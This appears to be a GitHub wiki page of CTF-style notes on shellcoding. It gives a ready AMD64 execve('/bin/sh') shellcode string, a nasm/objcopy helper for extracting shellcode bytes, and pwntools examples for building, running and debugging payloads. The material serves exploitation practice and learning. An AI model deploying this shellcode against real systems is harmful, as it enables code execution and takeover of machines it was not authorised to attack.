Skip to content
raywang edited this page Apr 22, 2018 · 6 revisions

Shellcoding

Here's some quick shellcodes: AMD64:

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

Manually

You can compile a shellcode file with nasm and gdb. With your assembly in asm.S, run

nasm -f elf64 asm.S
gcc asm.o -o test

A skeleton for this might look like

section .data
    msg db      "flag.txt"

section .text
    global main
main:

Here's a helper function that compiles shellcode using nasm and then copies out the shellcode:

def compile_shellcode(shellcode, filename):
        fd = open(filename + ".s", "wb")
        fd.write(shellcode)
        fd.close()
        ret = subprocess.call("sh -c 'nasm {0}.s -o {0}.o -f elf64; objcopy {0}.o -j .text {0} -O binary'".format(filename), shell=True)
        if ret != 0:
            print("Failed to compile")
            sys.exit(1)
        
        fd = open(filename, "rb")
        buf = fd.read()
        fd.close()
        return buf

Pwntools

Pwntools allows you to create shellcode manually and also provides some commonly used functions like sh or read in the shellcraft module.

First, set the context: context(arch='amd64', os='linux')

You can use asm to compile into raw bytes, and enhex to hexlify it.

shellcode = asm('lea rdi, [rip]')
shellcode += shellcraft.mov("r10", "rax")
shellcode += shellcraft.read('rax', 'rsp', 48) # fd, buf, numBytes

To disassemble it, use disasm.

Run the shellcode with

p = run_shellcode(bytes)

or

p = run_assembly('mov ebx, 3; mov eax, SYS_exit; int 0x80;')

Debugging

To debug your shellcode, you can write it to an executable or attach a gdb process to it in pwntools.

ELF.from_bytes(shellcode).save("./shellcode")

or

gdb.debug_shellcode(shellcode, """
set disassembly-flavor intel
set height 0
b *0x6000b0"""
)

time.sleep(10000) # There's a bug in pwntools where the gdb will close immediately unless you have this
Clone this wiki locally